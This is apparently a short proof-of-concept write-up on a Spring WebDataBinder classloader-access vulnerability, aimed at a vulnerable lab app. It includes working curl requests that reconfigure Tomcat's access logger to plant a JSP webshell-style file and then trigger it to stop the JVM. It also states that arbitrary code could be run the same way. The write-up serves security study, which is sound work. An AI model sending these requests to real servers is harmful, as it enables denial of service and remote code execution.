At the time of writing, spring-web request params binding (WebDataBinder), by default allows accessing object's getClass() method.
This is an internal jvm specific implementation detail (imho shouldn't be exposed).
As such, its features may change and be expanded with future versions of the jvm.
That makes it an ongoing burden for the maintainers, trying to predict creative ways in which malicious actors
may leverage that powerful access in nefarious ways.
In this particular CVE, the reason was a Class::getModule() method introduced in java 9. It opened up unguarded
access to a class-loader.
In the example below attacker uses it to reconfigure tomcat's access logger. It normally writes short information about
each request received by the server to a log file. Property pattern defines what information is written,
directory where the log file should be placed, prefix, fileDateFormat and suffix what should be the file name.
The following request will target a POST endpoint of our vulnerable poc-0 application. It reconfigures the logger to write
a <%{e}iSystem.exit(0);%{e}i> line for every request handled, to a f.jsp file in a webapps/ROOT directory,
where %{e}i is a placeholder for a value of request's header e.
This is an unexpected/creative use of the logger and the rest is a standard JSP and Tomcat application server in action.
curl -v -H 'e:%' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=<%25%7be%7diSystem.exit(0);%25%7be%7di>' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=f' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
http://container-ip:8080/poc-0/
After a moment, a f.jsp file will be created, picked up by tomcat, compiled and exposed to serve the traffic.
The following request invokes it, which will execute an embedded System.exit(0); code and stop the jvm it's running on.
curl -v http://container-ip:8080/f.jsp
This is an example of a DoS, but the System.exit(0); is a normal java code, so attacker can do much more.